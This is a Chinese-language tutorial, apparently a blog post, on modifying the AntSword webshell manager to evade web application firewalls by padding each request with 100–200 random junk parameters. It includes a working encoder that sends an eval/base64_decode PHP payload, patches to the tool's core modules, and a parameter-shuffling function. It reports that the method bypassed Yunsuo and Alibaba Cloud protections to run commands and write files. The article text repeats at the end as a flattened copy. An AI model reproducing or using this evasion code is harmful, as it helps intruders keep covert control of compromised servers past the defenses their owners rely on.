蚁剑改造计划之增加垃圾数据
字数 1143 2025-08-25 22:58:29

蚁剑改造计划之增加垃圾数据绕过WAF技术详解

前言

本文详细讲解如何通过增加垃圾数据来绕过WAF(Web应用防火墙)对蚁剑流量的检测,包括编码器实现和核心功能集成两种方法。该技术适用于ASP、PHP、ASPX、JSP等多种WebShell的流量混淆。

技术原理

垃圾数据填充的基本原理

  1. WAF绕过机制:当WAF遇到大量GET或POST参数时,可能会直接将数据传递给后端处理,从而绕过各种过滤规则
  2. 与传统SQL注入绕过的区别:传统方法是在payload前加超长字符串,而本方法采用增加大量垃圾键值对的方式
  3. 优势:比单纯增加字符串长度更有效,已实测可绕过阿里云等主流WAF

编码器实现方法

基础编码器改造

以base64编码器为例,添加垃圾数据生成功能:

'use strict';

module.exports = (pwd, data, ext = {}) => {
  // 参数配置
  let varname_min = 5;  // 变量名最小长度
  let varname_max = 15; // 变量名最大长度
  let data_min = 200;   // 变量值最小长度
  let data_max = 250;   // 变量值最大长度
  let num_min = 100;    // 变量最小个数
  let num_max = 200;    // 变量最大个数
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;

  // 原始payload base64编码
  data[randomID] = Buffer.from(data['_']).toString('base64');

  // 生成随机字符串函数
  function randomString(length) {
    let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    let result = '';
    for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
  }

  // 生成指定范围内随机数
  function randomInt(min, max) {
    return parseInt(Math.random() * (max - min + 1) + min, 10);
  }

  // 添加垃圾数据
  for (let i = 0; i < randomInt(num_min, num_max); i++) {
    data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
  }

  // 设置最终payload
  data[pwd] = `@eval(base64_decode($_POST[${randomID}]));`;
  delete data['_'];
  return data;
};

使用方法

  1. 将上述代码保存为新的编码器文件
  2. 在蚁剑中选择该编码器连接WebShell
  3. 观察WAF是否被绕过

核心功能集成

后端修改

  1. 修改request模块

    • modules/request.js中添加对垃圾数据选项的判断
    • 修改发包逻辑,在非chunk和非multipart模式下添加垃圾数据
  2. 修改base.js

    • 在请求配置中添加addMassData选项
    • 同时修改普通请求和下载请求的处理逻辑
// 在source/core/base.js中添加
send('request', {
  // ...其他参数...
  addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
  // ...其他参数...
});

前端修改

  1. 修改form.js
    • source/modules/shellmanager/list/form.js中添加复选框
// 添加垃圾数据选项
{
  xtype: 'checkbox',
  name: 'add-MassData',
  boxLabel: '增加垃圾数据',
  inputValue: 1,
  uncheckedValue: 0
}
  1. 添加语言文件支持

字典随机排序函数

为确保payload不总是出现在第一个位置,添加字典随机排序功能:

function randomDict(dic){
  let tmparray = [];
  for(let i in dic){
    tmparray.push(i);
  }
  tmparray = tmparray.sort((a, b) => { 
    return Math.random() > 0.5 ? -1 : 1; 
  });
  let finaldata = {};
  tmparray.forEach(i => {
    finaldata[i] = dic[i];
  });
  return finaldata;
}

实际测试结果

云锁绕过测试

  1. 默认base64编码器:连接被云锁直接拦截
  2. 垃圾数据编码器:成功建立连接并执行命令

阿里云绕过测试

  1. 默认编码器:第一个包有回显,第二个包IP被封
  2. 垃圾数据编码器
    • 正常执行命令
    • 可正常写文件
    • 未触发阿里云封IP机制

多语言支持测试

  1. ASP:测试通过
  2. ASPX:测试通过
  3. PHP:测试通过
  4. JSP:理论上支持,但未实际测试

参数调优建议

  1. 变量数量:默认100-200个,可根据实际情况调整

    • 增加数量可能绕过更多WAF,但会降低响应速度
    • 网络状况差时建议减少数量
  2. 变量长度

    • 变量名长度:5-15字符
    • 变量值长度:200-250字符

注意事项

  1. 重启要求:修改核心功能后必须完全退出并重新启动蚁剑
  2. 性能影响:大量垃圾数据会增加请求大小,可能影响执行速度
  3. 免杀要求:WebShell本身需要具备一定免杀能力,该方法仅解决流量检测问题

总结

通过增加随机垃圾数据可以有效绕过主流WAF对蚁剑流量的检测,本文提供了两种实现方式:编码器实现适合快速测试,核心功能集成更适合长期使用。实际应用中可根据目标环境特点调整垃圾数据的数量和长度参数。

蚁剑改造计划之增加垃圾数据绕过WAF技术详解 前言 本文详细讲解如何通过增加垃圾数据来绕过WAF(Web应用防火墙)对蚁剑流量的检测,包括编码器实现和核心功能集成两种方法。该技术适用于ASP、PHP、ASPX、JSP等多种WebShell的流量混淆。 技术原理 垃圾数据填充的基本原理 WAF绕过机制 :当WAF遇到大量GET或POST参数时,可能会直接将数据传递给后端处理,从而绕过各种过滤规则 与传统SQL注入绕过的区别 :传统方法是在payload前加超长字符串,而本方法采用增加大量垃圾键值对的方式 优势 :比单纯增加字符串长度更有效,已实测可绕过阿里云等主流WAF 编码器实现方法 基础编码器改造 以base64编码器为例,添加垃圾数据生成功能: 使用方法 将上述代码保存为新的编码器文件 在蚁剑中选择该编码器连接WebShell 观察WAF是否被绕过 核心功能集成 后端修改 修改request模块 : 在 modules/request.js 中添加对垃圾数据选项的判断 修改发包逻辑,在非chunk和非multipart模式下添加垃圾数据 修改base.js : 在请求配置中添加 addMassData 选项 同时修改普通请求和下载请求的处理逻辑 前端修改 修改form.js : 在 source/modules/shellmanager/list/form.js 中添加复选框 添加语言文件支持 字典随机排序函数 为确保payload不总是出现在第一个位置,添加字典随机排序功能: 实际测试结果 云锁绕过测试 默认base64编码器 :连接被云锁直接拦截 垃圾数据编码器 :成功建立连接并执行命令 阿里云绕过测试 默认编码器 :第一个包有回显,第二个包IP被封 垃圾数据编码器 : 正常执行命令 可正常写文件 未触发阿里云封IP机制 多语言支持测试 ASP :测试通过 ASPX :测试通过 PHP :测试通过 JSP :理论上支持,但未实际测试 参数调优建议 变量数量 :默认100-200个,可根据实际情况调整 增加数量可能绕过更多WAF,但会降低响应速度 网络状况差时建议减少数量 变量长度 : 变量名长度:5-15字符 变量值长度:200-250字符 注意事项 重启要求 :修改核心功能后必须完全退出并重新启动蚁剑 性能影响 :大量垃圾数据会增加请求大小,可能影响执行速度 免杀要求 :WebShell本身需要具备一定免杀能力,该方法仅解决流量检测问题 总结 通过增加随机垃圾数据可以有效绕过主流WAF对蚁剑流量的检测,本文提供了两种实现方式:编码器实现适合快速测试,核心功能集成更适合长期使用。实际应用中可根据目标环境特点调整垃圾数据的数量和长度参数。